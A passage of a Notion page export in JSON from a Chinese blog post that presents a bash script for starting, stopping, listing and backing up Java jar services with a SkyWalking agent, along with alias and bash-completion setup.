done\n}\n"]],"language":[["Bash"]]},"created_time":1706079393878,"last_edited_time":1706079401922,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"2c676e25-8325-4e28-a93c-2a14c18c16f9":{"value":{"id":"2c676e25-8325-4e28-a93c-2a14c18c16f9","type":"sub_header","properties":{"title":[["备份"]]},"format":{"copied_from_pointer":{"id":"5832d8e8-8c18-4555-b18e-c744f75a7347","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706079408241,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"5832d8e8-8c18-4555-b18e-c744f75a7347"}},"aa4dcc52-95a6-47a4-88e5-b4275689bcda":{"value":{"id":"aa4dcc52-95a6-47a4-88e5-b4275689bcda","type":"quote","properties":{"title":[["自动备份到指定目录,并且做到限制备份数目,自动清除等效果"]]},"created_time":1706079786312,"last_edited_time":1706079833479,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"7b911799-39b3-4e6e-8aa4-a18618a47f88":{"value":{"id":"7b911799-39b3-4e6e-8aa4-a18618a47f88","type":"code","properties":{"title":[["#备份\nbackup() {\n jar=$1\n filename=$(basename -- \"$jar\")\n backup_dir=\"./backup/${filename%.*}\"\n # 确保备份目录存在\n mkdir -p $backup_dir\n\n # 备份 .jar 文件,并添加时间戳\n timestamp=$(date \"+%Y%m%d%H%M%S\")\n path=$backup_dir/$(basename $jar).$timestamp\n mv $jar $path\n\n # 检查备份目录中的文件数量\n file_count=$(ls -t $backup_dir | wc -l)\n echo \"当前备份目录为:$backup_dir\"\n echo \"当前备份数目为:$file_count\"\n echo \"当前备份文件为:$path\"\n if [ $file_count -gt 5 ]; then\n cd $backup_dir\n # 删除最旧的文件\n rm -f \"$(ls -t | tail -1)\"\n cd -\n fi\n}"]],"language":[["Bash"]]},"created_time":1706079411099,"last_edited_time":1706079842806,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"dae3dcc6-9abb-45e7-8cd0-96e67fb23514":{"value":{"id":"dae3dcc6-9abb-45e7-8cd0-96e67fb23514","type":"header","properties":{"title":[["环境变量配置"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386587,"last_edited_time":1706079947292,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"bc90f652-c084-4885-8571-e07c2b2a5073"}},"d044fa90-43bf-464b-b804-b1952f91548b":{"value":{"id":"d044fa90-43bf-464b-b804-b1952f91548b","type":"sub_header","properties":{"title":[["配置~/.bash_profile"]]},"created_time":1706079947440,"last_edited_time":1706079996698,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"f4e7ebc8-a8bf-4550-a1e4-6811a8f052da":{"value":{"id":"f4e7ebc8-a8bf-4550-a1e4-6811a8f052da","type":"code","properties":{"title":[["#加上这一句\nalias deploy='/xxxx/deploy.sh'\n\n#然后保存.bash_profile并退出,再source一下\nsource ~/.bash_profile"]],"language":[["Bash"]]},"created_time":1706080001835,"last_edited_time":1706080051777,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"12211a14-1feb-449b-beab-abea67e70635":{"value":{"id":"12211a14-1feb-449b-beab-abea67e70635","type":"sub_header","properties":{"title":[["配置自动补全"]]},"created_time":1706080026932,"last_edited_time":1706080082350,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"4fa90686-3a74-46ec-a088-962d442891e0":{"value":{"id":"4fa90686-3a74-46ec-a088-962d442891e0","type":"code","properties":{"title":[["#安装这个\nyum -y install bash-completion\n\n\n## 把下面所有加到.bash_profile并source\n\n\n# 定义补全函数\n_deploy_complete()\n{\n local cur prev opts\n COMPREPLY=()\n cur=\"${COMP_WORDS[COMP_CWORD]}\"\n prev=\"${COMP_WORDS[COMP_CWORD-1]}\"\n\n# 第一个参数的补全选项\n opts=\"start stop restart list backup\"\n\n# 如果是第一个参数,那么补全选项为opts\nif [[ ${COMP_CWORD} -eq 1 ]] ; then\n COMPREPLY=( $(compgen -W \"${opts}\" -- ${cur}) )\n return 0\n fi\n\n# 如果是第二个参数,那么补全选项为当前目录下的jar文件\nif [[ ${COMP_CWORD} -eq 2 ]] ; then\n COMPREPLY=( $(compgen -W \"$(ls | grep jar)\" -- ${cur}) )\n return 0\n fi\n}\n\n# 将这个函数绑定到`deploy`命令上\ncomplete -F _deploy_complete deploy"]],"language":[["Bash"]]},"created_time":1706080085768,"last_edited_time":1706080157690,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"af722408-abb3-480e-9546-752a8866c509":{"value":{"id":"af722408-abb3-480e-9546-752a8866c509","type":"header","properties":{"title":[["效果"]]},"created_time":1706080016178,"last_edited_time":1706080352027,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"0cdbdf1b-35ba-4404-9235-3d8625c1eac0":{"value":{"id":"0cdbdf1b-35ba-4404-9235-3d8625c1eac0","type":"sub_header","properties":{"title":[["备份"]]},"created_time":1706080341893,"last_edited_time":1706080346302,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"23f697fb-ec30-4920-becf-b2569bb235d0":{"value":{"id":"23f697fb-ec30-4920-becf-b2569bb235d0","type":"image","properties":{"size":[["39.6KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/9007636a-7168-467c-bccd-fcf31712bf3d/Untitled.png"]]},"format":{"block_width":862,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/9007636a-7168-467c-bccd-fcf31712bf3d/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.45707656612529,"block_preserve_scale":true},"created_time":1706080421079,"last_edited_time":1706080424570,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"file_ids":["9007636a-7168-467c-bccd-fcf31712bf3d"]}},"8566becf-9f13-4e17-800f-8c73a9d69d10":{"value":{"id":"8566becf-9f13-4e17-800f-8c73a9d69d10","type":"sub_header","properties":{"title":[["重启"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386585,"last_edited_time":1706080354831,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"6fc3b1c1-279c-4da3-9b48-a286c69a4620":{"value":{"id":"6fc3b1c1-279c-4da3-9b48-a286c69a4620","type":"image","properties":{"size":[["72.4KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f7983c27-0d6c-4279-9ec4-753138725f56/Untitled.png"]]},"format":{"block_width":1166,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f7983c27-0d6c-4279-9ec4-753138725f56/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.4090909090909091,"block_preserve_scale":true},"created_time":1706080404843,"last_edited_time":1706080407833,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"file_ids":["f7983c27-0d6c-4279-9ec4-753138725f56"]}},"ebb9c14c-4573-4673-9f41-923621db6503":{"value":{"id":"ebb9c14c-4573-4673-9f41-923621db6503","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386585,"last_edited_time":1706080333611,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"5f09bd20-4152-4fbf-9234-6358f7ca9002":{"value":{"id":"5f09bd20-4152-4fbf-9234-6358f7ca9002","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386585,"last_edited_time":1706080333611,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"1af18956-4491-4646-8812-8c26899d094c":{"value":{"id":"1af18956-4491-4646-8812-8c26899d094c","type":"header","properties":{"title":[["最终部署脚本"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386585,"last_edited_time":1706080332892,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"39cf1bf0-7c68-42aa-8ada-11e74af9da6e":{"value":{"id":"39cf1bf0-7c68-42aa-8ada-11e74af9da6e","type":"code","properties":{"title":[["#!/bin/bash\n\n#-----------------------------环境变量START----------------------------\nexport SW_AGENT_COLLECTOR_BACKEND_SERVICES=127.0.0.1:11800\nexport SW_AGENT_SPAN_LIMIT=2000\nexport JAVA_AGENT=-javaagent:/usr/skywalking-agent/skywalking-agent.jar\nexport ENV=test\n#-----------------------------环境变量END----------------------------\n\n\n#-----------------------------全局变量START----------------------------\nAPP_START_TIMEOUT=180 #等待应用启动的时间\nPIDS=() #定义全局的PIDS数组\nWORK_DIR=( #当前程序的工作目录\n /Users/y/IdeaProjects/A-script/sh\n /home/\n /root/prod\n )\nCHECK_LOGS=( #日志检查关键字\n \"开始订阅滚动日志\"\n \"服务启动成功\"\n \"Tomcat started on port(s): 8848\"\n)\nSCRIPT_NAME=$0 # 脚本名称\nACTION=$1 # 脚本接受的第一个参数\nshift # 将参数列表向左移动一个位置,去除第一个参数\njar=\"$@\" # 使用命令行参数作为jar文件名\n#-----------------------------全局变量END----------------------------\n\n\n\n#-----------------------------函数声明START----------------------------\n#用法说明\n\n#使用说明\nusage() {\n echo \"脚本的用法如下:$SCRIPT_NAME {start|stop|restart|list|backup} {service_name.jar}\"\n end\n exit 2\n}\n# 检查输入参数\ncheck_input() {\n jar=$1\n\n # list 操作接受 *.jar 作为参数\n if [[ $ACTION == \"list\" && $jar == *.jar ]]; then\n return 0\n fi\n\n # start, stop 和 restart 操作必须接受一个存在于当前目录的 .jar 文件作为参数\n if [[ $ACTION != \"list\" && ($jar != *.jar || ! -f $jar) ]]; then\n echo \"start,stop,restart,backup 操作必须接受一个存在于当前目录的 .jar 文件作为参数\"\n end\n exit 0\n fi\n}\n#欢迎脚本答应\nwelcome(){\n echo '''\n---------------------------脚本正在启动-------------------------------\n\n ████████ ██████ ███ ███ ███ ██ █\n\n '''\n echo \" 当前脚本环境:$ENV\n\n \"\n}\n#结束脚本打印\nend(){\n echo '''\n----------------------------脚本已经完成-------------------------------\n '''\n}\n# 设置 JVM_OPTS\nset_jvm_opts() {\n jar=$1\n filename=$(basename -- \"$jar\")\n #生产环境\n if [[ $ENV == \"prod\" ]]; then\n # 检查文件名是否包含 \"bothsavage\"\n if [[ $filename == *\"bothsavage\"* ]]; then\n export JVM_OPTS=\"-Xms4096m -Xmx6144m\"\n else\n export JVM_OPTS=\"-Xms1024m -Xmx2028m\"\n fi\n #非生产环境\n else\n # 检查文件名是否包含 \"bothsavage\"\n if [[ $filename == *\"bothsavage\"* ]]; then\n export JVM_OPTS=\"-Xms1024m -Xmx2028m\"\n else\n export JVM_OPTS=\"-Xms512m -Xmx1024m\"\n fi\n fi\n\n}\n#检查当前脚本运行目录\ncheck_directory() {\n # 获取脚本的运行目录\n script_dir=$(pwd \"$0\")\n echo \"此脚本工作目录:$script_dir\"\n\n # 标识,初始为 false\n valid_dir=false\n\n # 检查脚本的运行目录是否在 WORK_DIR 数组的目录之一\n for dir in \"${WORK_DIR[@]}\"; do\n if [[ $script_dir == $dir* ]]; then\n valid_dir=true\n break\n fi\n done\n\n # 如果标识仍为 false,打印一条消息并退出脚本\n if ! $valid_dir; then\n echo \"不满足以下目录:${WORK_DIR[*]}. \"\n end\n exit 0\n fi\n}\n#根据jar包获取正在运行的pid列表\n#可能是多个有xxx.jar的pid,因为存在启动不成功的情况\n#此pid列表是所有正在运行的jar包的pid列表,去除grep --color=auto pet-mall\nlist_service() {\n echo \"获取程序运行中:$jar\"\n # 使用ps和grep获取包含jar包名的进程\n local lines=$(ps aux | grep $1 | grep java | grep -v grep | awk '{printf $2 \" \"; for (i=11; i<=NF; i++) printf $i \" \"; print \"\"}')\n\n # 逐行读取lines变量的值\n while IFS= read -r line; do\n # 使用空格将行切割为数组\n array=($line)\n\n # 第一个元素是PID\n pid=${array[0]}\n\n # 剩下的元素是命令行参数\n cmdline=${line#\"$pid \"} # 使用参数扩展移除PID\n cmdline_cut=$(echo $cmdline | cut -c 1-150) # 保留前50个字符\n\n # 只在找到进程时打印信息\n if [ ! -z \"$pid\" ]; then\n printf \"找到%5s 程序: %-50s...\\n\" \"$pid\" \"$cmdline_cut\" # 格式化输出\n PIDS+=(\"$pid\")\n fi\n done <<< \"$lines\"\n\n # 如果没有找到任何服务,打印提示信息\n if [ -z \"$lines\" ]; then\n echo \"没有进程包含有:$1\"\n fi\n}\n#停止服务\nstop_service() {\n local pid=$1\n echo \"开始停止程序中: $pid\"\n kill -15 \"$pid\"\n\n # 等待程序结束\n for i in $(seq 60); do\n # 检查进程是否还在运行\n if ! ps -p \"$pid\" > /dev/null; then\n echo \"停止程序已完成:$pid\"\n return 0\n fi\n # 等待一秒\n sleep 1\n done\n\n # 如果程序还在运行,发送 SIGKILL\n echo \"程序仍在运行,发送 SIGKILL\"\n kill -9 \"$pid\"\n}\n#启动服务\nstart_service(){\n set_jvm_opts $jar\n filename=$(basename -- \"$jar\")\n export SW_AGENT_NAME=\"${filename%.*}\"\n# output=\"./${SW_AGENT_NAME}.log\"\n# touch $output\n# 在脚本退出时删除日志文件\n# trap 'rm -f ./${SW_AGENT_NAME}.log' EXIT\n output=\"/dev/null\"\n nohup java $JVM_OPTS $JAVA_AGENT -jar ./$jar >> $output 2>&1 &\n echo \"最终部署语句为:nohup java $JVM_OPTS $JAVA_AGENT -jar ./$jar >> $output 2>&1 &\"\n # 检查是否有 -q 参数\n if [ \"$2\" == \"-q\" ]\n then\n echo \"部署语句已执行:$jar\"\n else\n tail -f $output\n fi\n}\n#健康检查\nhealth_check() {\n exptime=0\n\n while true; do\n for log in \"${CHECK_LOGS[@]}\"; do\n if grep -q \"$log\" \"./logs/${SW_AGENT_NAME}/debug.log\"; then\n echo -e \"\\n服务已成功启动: $jar\"\n return 0\n fi\n done\n if [ \"$exptime\" -gt ${APP_START_TIMEOUT} ]; then\n echo -e \"\\n服务启动检查超时,请手动检查\"\n break\n else\n echo -ne \"\\r服务还在启动中:已经等待${exptime}秒,当前超时时间为${APP_START_TIMEOUT}\"\n fi\n\n sleep 1\n ((exptime++))\n done\n}\n#备份\nbackup() {\n jar=$1\n filename=$(basename -- \"$jar\")\n backup_dir=\"./backup/${filename%.*}\"\n # 确保备份目录存在\n mkdir -p $backup_dir\n\n # 备份 .jar 文件,并添加时间戳\n timestamp=$(date \"+%Y%m%d%H%M%S\")\n path=$backup_dir/$(basename $jar).$timestamp\n mv $jar $path\n\n # 检查备份目录中的文件数量\n file_count=$(ls -t $backup_dir | wc -l)\n echo \"当前备份目录为:$backup_dir\"\n echo \"当前备份数目为:$file_count\"\n echo \"当前备份文件为:$path\"\n if [ $file_count -gt 5 ]; then\n cd $backup_dir\n # 删除最旧的文件\n rm -f \"$(ls -t | tail -1)\"\n cd -\n fi\n}\n#启动脚本\nstart() {\n start_service $jar -q\n health_check $jar\n list_service $jar\n}\n#停止脚本\nstop() {\n list_service $jar\n for pid in \"${PIDS[@]}\" ; do\n if [ ! -z \"$pid\" ]; then\n stop_service $pid\n fi\n done\n}\n#-----------------------------函数声明END----------------------------\n\n\n\n#-----------------------------程序入口----------------------------\nwelcome\ncheck_directory\ncase \"$ACTION\" in\nstart)\n check_input $jar\n list_service $jar\n for pid in \"${PIDS[@]}\" ; do\n if [ ! -z \"$pid\" ]; then\n echo \"存在应用在运行:请使用restart命令\"\n end\n exit 0\n fi\n done\n start\n ;;\nstop)\n check_input $jar\n stop\n ;;\nrestart)\n check_input $jar\n stop\n start\n ;;\nlist)\n check_input $jar\n list_service $jar\n ;;\nbackup)\n check_input $jar\n backup $jar\n ;;\n*)\n usage\n ;;\nesac\n\nend"]],"language":[["Bash"]]},"created_time":1706079853791,"last_edited_time":1706079931676,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"3b508db8-425b-4c77-83d0-9eba50c4ef24":{"value":{"id":"3b508db8-425b-4c77-83d0-9eba50c4ef24","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706076386586,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"dffd5b0d-8df5-4399-96a3-63793dbd16d0":{"value":{"id":"dffd5b0d-8df5-4399-96a3-63793dbd16d0","type":"column_list","content":["01d74399-1984-4db8-b232-71694c4f7aef","5e5d5341-4a47-448b-bb23-a0f7ba9ad5f7","056999ba-b162-4bdd-b94f-66abf2db1bdf"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386587,"last_edited_time":1706076386587,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"70a67ed3-e2b5-4bd8-b6ac-de461ad7aa16":{"value":{"id":"70a67ed3-e2b5-4bd8-b6ac-de461ad7aa16","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386587,"last_edited_time":1706076386587,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}},"01d74399-1984-4db8-b232-71694c4f7aef":{"value":{"id":"01d74399-1984-4db8-b232-71694c4f7aef","type":"column","content":["339737bc-36d6-4e00-ae14-9b1855021a83"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386588,"last_edited_time":1706076386588,"parent_id":"dffd5b0d-8df5-4399-96a3-63793dbd16d0","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"5e5d5341-4a47-448b-bb23-a0f7ba9ad5f7":{"value":{"id":"5e5d5341-4a47-448b-bb23-a0f7ba9ad5f7","type":"column","content":["4a3120f5-b7d0-4446-9360-a24bc5d2a6ed","a3e87d87-21dd-406d-8b6f-18e04e3330d5"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386588,"last_edited_time":1706076386588,"parent_id":"dffd5b0d-8df5-4399-96a3-63793dbd16d0","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"056999ba-b162-4bdd-b94f-66abf2db1bdf":{"value":{"id":"056999ba-b162-4bdd-b94f-66abf2db1bdf","type":"column","content":["85f4203b-c3c4-4987-a73d-4830494b33be"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386588,"last_edited_time":1706076386588,"parent_id":"dffd5b0d-8df5-4399-96a3-63793dbd16d0","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"339737bc-36d6-4e00-ae14-9b1855021a83":{"value":{"id":"339737bc-36d6-4e00-ae14-9b1855021a83","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1706076386589,"last_edited_time":1706076386589,"parent_id":"01d74399-1984-4db8-b232-71694c4f7aef","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"4a3120f5-b7d0-4446-9360-a24bc5d2a6ed":{"value":{"id":"4a3120f5-b7d0-4446-9360-a24bc5d2a6ed","type":"text","properties":{"title":[["\n",[["i"]]],[" 是在往前走就好",[["i"],["b"]]],["\n ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386588,"last_edited_time":1706076386588,"parent_id":"5e5d5341-4a47-448b-bb23-a0f7ba9ad5f7","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"a3e87d87-21dd-406d-8b6f-18e04e3330d5":{"value":{"id":"a3e87d87-21dd-406d-8b6f-18e04e3330d5","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386589,"last_edited_time":1706076386589,"parent_id":"5e5d5341-4a47-448b-bb23-a0f7ba9ad5f7","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"85f4203b-c3c4-4987-a73d-4830494b33be":{"value":{"id":"85f4203b-c3c4-4987-a73d-4830494b33be","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1706076386589,"last_edited_time":1706076386589,"parent_id":"056999ba-b162-4bdd-b94f-66abf2db1bdf","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"vis